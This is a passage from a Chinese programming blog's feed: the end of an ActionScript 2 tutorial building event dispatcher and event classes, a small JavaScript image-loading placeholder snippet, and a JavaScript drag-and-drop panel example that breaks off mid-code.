&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this[&quot;click&quot;] = [];<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 然后执行<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CFEventDispatcher._removeEventListener(this[&quot;click&quot;], 事件处理器);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 来检测此事件是否有相同的事件处理器.如果是就删除它.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 举个例:当你在一个网站注册用户名时.网站的注册程序会从数据库中检测是否有与你相同的用户名.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果有将会提示你重新输入用户名(在这里就是直接删除了).如果没有就会注册成功(这里就在后面<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 执行 push).但是网站的注册程序不会从数据库中检测是否有与你相同的密码.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 就是说一个事件,可添加多个不同的事件处理器,但不能添加相同的事件处理器.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当添加新的事件时,也是一样的<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 最后使用<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this[&quot;click&quot;].push(事件处理器);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 将事件处理器添加到事件数组.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; */<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this[event] == undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this[event] = new Array();<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //ASSetPropFlags 是隐藏的方法.用它和不用它貌似没有区别.大家可以研究下.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //_global.ASSetPropFlags(this, event, 1);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CFEventDispatcher._removeEventListener(this[event], handler);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this[event].push(handler);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; public function removeEventListener(event:String, handler):Void<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //这里我就不啰嗦了.<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; CFEventDispatcher._removeEventListener(this[event], handler);<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
保存文档.</font></p>
<p>[6.3.创建 Event 类(事件基类,继承 Object 类)]<br />
你可以把它看作事件对象.因应它的工作就是生成事件对象.</p>
<p>此类文档详细:<br />
Classes/AS2/events/Event.as</p>
<p>主类:<br />
打开 Event.as 文档.输入下面的代码:</p>
<p><font color="#000000"><span class="code">class AS2.events.Event extends Object<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //事件的常数名.<br />
&nbsp;&nbsp;&nbsp; public static var COMPLETE:String = &quot;complete&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var CANCEL:String = &quot;cancel&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var CHANGE:String = &quot;change&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var CLOSE:String = &quot;close&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var CONNECT:String = &quot;connect&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var FULLSCREEN:String = &quot;fullScreen&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var OPEN:String = &quot;open&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var REMOVED:String = &quot;removed&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var RESIZE:String = &quot;resize&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var SCROLL:String = &quot;scroll&quot;;<br />
&nbsp;&nbsp;&nbsp; public static var Select:String = &quot;select&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public var type:String;<br />
&nbsp;&nbsp;&nbsp; public var target:Object;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; private var className:String = &quot;Event&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //构造函数.<br />
&nbsp;&nbsp;&nbsp; public function Event(type:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.type = type;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var str:String = &quot;&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i:String in this) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this[i] != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str += i + &quot;=&quot; + this[i] + &quot; &quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[&quot; + this.className + &quot; &quot; + str.slice(0,str.length - 1) + &quot;]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
}</span><br />
保存文档.</font></p>
<p>此类包含下面内容:<br />
1.事件的常数名.如:</p>
<p><font color="#000000"><span class="code">&nbsp;&nbsp;&nbsp; public static var COMPLETE:String = &quot;complete&quot;;<br />
&nbsp;&nbsp;&nbsp; ...</span><br />
2.基本的属性.如:</font></p>
<p><font color="#000000"><span class="code">&nbsp;&nbsp;&nbsp; public var type:String;<br />
&nbsp;&nbsp;&nbsp; ...</span><br />
3.className 属性.如:</font></p>
<p><font color="#000000"><span class="code">private var className:String = &quot;Event&quot;;</span><br />
4.构造函数.如:</font></p>
<p><font color="#000000"><span class="code">&nbsp;&nbsp;&nbsp; public function Event(type:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.type = type;<br />
&nbsp;&nbsp;&nbsp; }<br />
</span>5.toString() 方法.如:</font></p>
<p><font color="#000000"><span class="code">&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; var str:String = &quot;&quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; for (var i:String in this) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; if (this[i] != undefined) {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; str += i + &quot;=&quot; + this[i] + &quot; &quot;;<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[&quot; + this.className + &quot; &quot; + str.slice(0,str.length - 1) + &quot;]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
</span><br />
如果你嫌此方法阻碍你的执行效率.可以改成如下(标准):</font></p>
<p><font color="#000000"><span class="code">&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[object &quot; + this.className + &quot;]&quot;;<br />
&nbsp;&nbsp;&nbsp; }</span><br />
这里讲下 toString() 方法.在类中定义此方法.在输出此类实例名实调用此方法.如:</font></p>
<p><span class="code"><font color="#000000">class className <br />
{<br />
&nbsp;&nbsp;&nbsp; ...<br />
&nbsp;&nbsp;&nbsp; private var className:String&nbsp; = &quot;className&quot;;<br />
&nbsp;&nbsp;&nbsp; public function toString():String<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; return &quot;[object &quot; + this.className + &quot;]&quot;;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; ...<br />
}</font></span></p>
<p><br />
<font color="#000000"><span class="code">import className;<br />
var cn:className = new className();<br />
trace(cn);// 调用 toString() 方法.输出: [object className]</span><br />
当然你也可以改成 AS3 中 Event 类一样的方法.但没有必要,很少会用到.<br />
如果要向 Event 类传递参数和定义新的事件名,请看下面.</font></p>
<p>[6.4.创建 IOErrorEvent 类(错误事件类,继承 Event 类)]<br />
此类文档详细:<br />
Classes/AS2/events/IOErrorEvent.as</p>
<p>主类:<br />
打开 IOErrorEvent.as 文档,输入下面的代码:</p>
<p><font color="#000000"><span class="code">import AS2.events.Event;<br />
//----------------------------------------<br />
class AS2.events.IOErrorEvent extends Event<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //事件的常数名.<br />
&nbsp;&nbsp;&nbsp; public static var IO_ERROR:String = &quot;IOError&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //属性参数.<br />
&nbsp;&nbsp;&nbsp; public var text:String;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //className 属性<br />
&nbsp;&nbsp;&nbsp; private var className:String = &quot;IOErrorEvent&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //在构造函数中添加参数.<br />
&nbsp;&nbsp;&nbsp; public function IOErrorEvent(type:String, text:String)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; super(type);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.text = text;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; <br />
}</span><br />
保存文档.</font></p>
<p>[6.5.创建 HTTPStatusEvent 类(http状态事件类,继承 Event 类)]<br />
此类文档详细:<br />
Classes/AS2/events/HTTPStatusEvent.as</p>
<p>主类:<br />
打开 HTTPStatusEvent.as 文档.输入下面的代码:</p>
<p><font color="#000000"><span class="code">import AS2.events.Event;<br />
//----------------------------------------<br />
class AS2.events.HTTPStatusEvent extends Event<br />
{<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //事件的常数名.<br />
&nbsp;&nbsp;&nbsp; public static var HTTP_STATUS:String = &quot;httpStatus&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //属性参数.<br />
&nbsp;&nbsp;&nbsp; public var status:Number;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //className 属性<br />
&nbsp;&nbsp;&nbsp; private var className:String = &quot;HTTPStatusEvent&quot;;<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; //在构造函数中添加参数.<br />
&nbsp;&nbsp;&nbsp; public function HTTPStatusEvent(type:String, status:Number)<br />
&nbsp;&nbsp;&nbsp; {<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; super(type);<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; this.status = status;<br />
&nbsp;&nbsp;&nbsp; }<br />
&nbsp;&nbsp;&nbsp; //----------------------------------------<br />
&nbsp;&nbsp;&nbsp; <br />
}</span><br />
保存文档.</font></p>
<p>[6.6.示例: EventClass 类(简单的示例)]<br />
此示例文档详细:<br />
Example/AS2/events/Event/EventClass.as<br />
Example/AS2/events/Event/EventExample.as<br />
Example/AS2/events/Event/EventExample.<a href="http://www.jzxue.com/Html/XML/" target="_blank">xml</a><br />
Example/AS2/events/Event/EventExample.fla</p>
<p>主类:<br />
打开 EventClass.as 文档.输入下面的代码:</p>
<p><span class="code"><font color="#000000">import AS2.utils.CFDelegate;<br />
import AS2.events.Event;<br />
import AS2.events.IOErrorEvent;<br />
import AS2.events.HTTPStatusEvent;<br />
import AS2.events.CFEventDispatc </font></span></p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/article/35.htm" /> 
	  <id>http://www.bloodcn.com/default.asp?id=35</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[用javascipt 实现加载进度条]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=11" label="Web" /> 
	  <updated>2008-08-08T10:54:17+08:00</updated>
	  <published>2008-08-08T10:54:17+08:00</published>
		  <summary type="html"><![CDATA[<p>&nbsp;</p>
<p>&nbsp;</p>
<p>本次实现不包含获取文件大小，简单使用，可以放在一般网站上较大图片的读取上面</p>
<p>&nbsp;</p>
<p>&lt;img src=&quot;1&quot; name=&quot;imga&quot; id=&quot;imga&quot;&nbsp; /&gt;&lt;img src=&quot;<a href="http://www.cnitblog.com/images/xml.gif">http://www.cnitblog.com/images/xml.gif</a>&quot; name=&quot;imgb&quot; id=&quot;imgb&quot; /&gt;<br />
&lt;script language=&quot;javascript&quot;&gt;<br />
imga.style.display='none';<br />
imgb.style.display='inline';</p>
<p>imga.onload = function(){<br />
imgb.style.display='none';<br />
imga.style.display='inline';<br />
};<br />
imga.src='http://www.zhuomianbizhi.com/upload/bizhi/mingxing_s/20071104/200711040119052776.jpg';<br />
&lt;/script&gt;<br />
&nbsp;</p>]]></summary>
	  <link rel="alternate" type="text/html" href="http://www.bloodcn.com/article/34.htm" /> 
	  <id>http://www.bloodcn.com/default.asp?id=34</id>
  </entry>	
		
  <entry>
	  <title type="html"><![CDATA[谷歌首页移动层效果]]></title>
	  <author>
		 <name>la5u4ever</name>
		 <uri>http://www.bloodcn.com/</uri>
		 <email>li-deming@hotmail.com</email>
	  </author>
	  <category term="" scheme="http://www.bloodcn.com/default.asp?cateID=11" label="Web" /> 
	  <updated>2008-08-08T09:57:08+08:00</updated>
	  <published>2008-08-08T09:57:08+08:00</published>
		  <summary type="html"><![CDATA[<p>&nbsp;</p>
<div class="codeText">
<div class="codeHead">JavaScript代码</div>
<ol class="dp-c">
    <li class="alt"><span><span>&lt;html&gt; &nbsp;&nbsp;</span></span></li>
    <li><span>&lt;head&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;title&gt;DRAG&nbsp;the&nbsp;DIV&lt;/title&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;meta&nbsp;http-equiv=</span><span class="string">&quot;Content-Type&quot;</span><span>&nbsp;content=</span><span class="string">&quot;text/html;&nbsp;charset=gb2312&quot;</span><span>&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;style&gt; &nbsp;&nbsp;</span></li>
    <li><span>*{font-size:12px} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>.dragTable{ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;font-size:12px; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;border-top:1px&nbsp;solid&nbsp;#3366cc; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;margin-bottom:&nbsp;10px; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;width:100%; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;background-color:#FFFFFF; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li><span>td{vertical-align:top;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>.dragTR{ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;cursor:move; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;color:#7787cc; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;background-color:#e5eef9; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;height:20px; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;padding-left:5px; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;font-weight:bold; &nbsp;&nbsp;</span></li>
    <li><span>} </span>&nbsp;</li>
    <li class="alt"><span><span class="preprocessor">#parentTable{ </span><span>&nbsp;&nbsp;</span></span></li>
    <li><span>&nbsp;border-collapse:collapse; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;letter-spacing:25px; &nbsp;&nbsp;</span></li>
    <li><span>} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&lt;/style&gt; &nbsp;&nbsp;</span></li>
    <li><span>&lt;script&nbsp;defer&gt; &nbsp;&nbsp;</span></li>
    <li class="alt"><span class="comment">/****JoeLee************E-MAIL:hktx@163.com****QQ:48293707*****11:09&nbsp;2006-2-9******/</span><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;Drag={dragged:</span><span class="keyword">false</span><span>, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;ao:</span><span class="keyword">null</span><span>, &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;tdiv:</span><span class="keyword">null</span><span>, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>dragStart:</span><span class="keyword">function</span><span>(){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.ao=event.srcElement; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">if</span><span>((Drag.ao.tagName==</span><span class="string">&quot;TD&quot;</span><span>)||(Drag.ao.tagName==</span><span class="string">&quot;TR&quot;</span><span>)){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;Drag.ao=Drag.ao.offsetParent; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;Drag.ao.style.zIndex=100; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;}</span><span class="keyword">else</span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.dragged=</span><span class="keyword">true</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv=document.createElement(</span><span class="string">&quot;div&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.innerHTML=Drag.ao.outerHTML; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.ao.style.border=</span><span class="string">&quot;1px&nbsp;dashed&nbsp;red&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.display=</span><span class="string">&quot;block&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.position=</span><span class="string">&quot;absolute&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.filter=</span><span class="string">&quot;alpha(opacity=70)&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.cursor=</span><span class="string">&quot;move&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.border=</span><span class="string">&quot;1px&nbsp;solid&nbsp;#000000&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.width=Drag.ao.offsetWidth; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.height=Drag.ao.offsetHeight; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.top=Drag.getInfo(Drag.ao).top; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.left=Drag.getInfo(Drag.ao).left; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;document.body.appendChild(Drag.tdiv); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.lastX=event.clientX; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.lastY=event.clientY; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.lastLeft=Drag.tdiv.style.left; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.lastTop=Drag.tdiv.style.top; &nbsp;&nbsp;</span></li>
    <li><span>}, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span></li>
    <li><span>&nbsp;draging:</span><span class="keyword">function</span><span>(){</span><span class="comment">//重要:判断MOUSE的位置 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">if</span><span>(!Drag.dragged||Drag.ao==</span><span class="keyword">null</span><span>)</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;tX=event.clientX; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;tY=event.clientY; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.tdiv.style.left=parseInt(Drag.lastLeft)+tX-Drag.lastX; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.top=parseInt(Drag.lastTop)+tY-Drag.lastY; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;i=0;i&lt;parentTable.cells.length;i++){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;parentCell=Drag.getInfo(parentTable.cells[i]); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;</span><span class="keyword">if</span><span>(tX&gt;=parentCell.left&nbsp;&amp;&amp;&nbsp;tX&lt;=parentCell.right&nbsp;&amp;&amp;&nbsp;tY&gt;=parentCell.top&nbsp;&amp;&amp;&nbsp;tY&lt;=parentCell.bottom){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;subTables=parentTable.cells[i].getElementsByTagName(</span><span class="string">&quot;table&quot;</span><span>); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(subTables.length==0){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(tX&gt;=parentCell.left&nbsp;&amp;&amp;&nbsp;tX&lt;=parentCell.right&nbsp;&amp;&amp;&nbsp;tY&gt;=parentCell.top&nbsp;&amp;&amp;&nbsp;tY&lt;=parentCell.bottom){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parentTable.cells[i].appendChild(Drag.ao); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;</span><span class="keyword">for</span><span>(</span><span class="keyword">var</span><span>&nbsp;j=0;j&lt;subTables.length;j++){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">var</span><span>&nbsp;subTable=Drag.getInfo(subTables[j]); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">if</span><span>(tX&gt;=subTable.left&nbsp;&amp;&amp;&nbsp;tX&lt;=subTable.right&nbsp;&amp;&amp;&nbsp;tY&gt;=subTable.top&nbsp;&amp;&amp;&nbsp;tY&lt;=subTable.bottom){ &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parentTable.cells[i].insertBefore(Drag.ao,subTables[j]); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span class="keyword">break</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;}</span><span class="keyword">else</span><span>{ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;parentTable.cells[i].appendChild(Drag.ao); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;} &nbsp;&nbsp;</span></li>
    <li class="alt"><span>} &nbsp;&nbsp;</span></li>
    <li><span>, &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;dragEnd:</span><span class="keyword">function</span><span>(){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">if</span><span>(!Drag.dragged)</span><span class="keyword">return</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.dragged=</span><span class="keyword">false</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.mm=Drag.repos(150,15); &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.ao.style.borderWidth=</span><span class="string">&quot;0px&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.ao.style.borderTop=</span><span class="string">&quot;1px&nbsp;solid&nbsp;#3366cc&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;Drag.tdiv.style.borderWidth=</span><span class="string">&quot;0px&quot;</span><span>; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;Drag.ao.style.zIndex=1; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>}, &nbsp;&nbsp;</span></li>
    <li><span>getInfo:</span><span class="keyword">function</span><span>(o){</span><span class="comment">//取得坐标 </span><span>&nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;to=</span><span class="keyword">new</span><span>&nbsp;Object(); &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;to.left=to.right=to.top=to.bottom=0; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;twidth=o.offsetWidth; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">var</span><span>&nbsp;theight=o.offsetHeight; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;</span><span class="keyword">while</span><span>(o!=document.body){ &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;to.left+=o.offsetLeft; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;to.top+=o.offsetTop; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;o=o.offsetParent; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;} &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;&nbsp;to.right=to.left+twidth; &nbsp;&nbsp;</span></li>
    <li class="alt"><span>&nbsp;&nbsp;to.bottom=to.top+theight; &nbsp;&nbsp;</span></li>
    <li><span>&nbsp;</span><span class="keyword">return</span><span>&nbsp;to; &nbsp;&nbsp;</span></li>
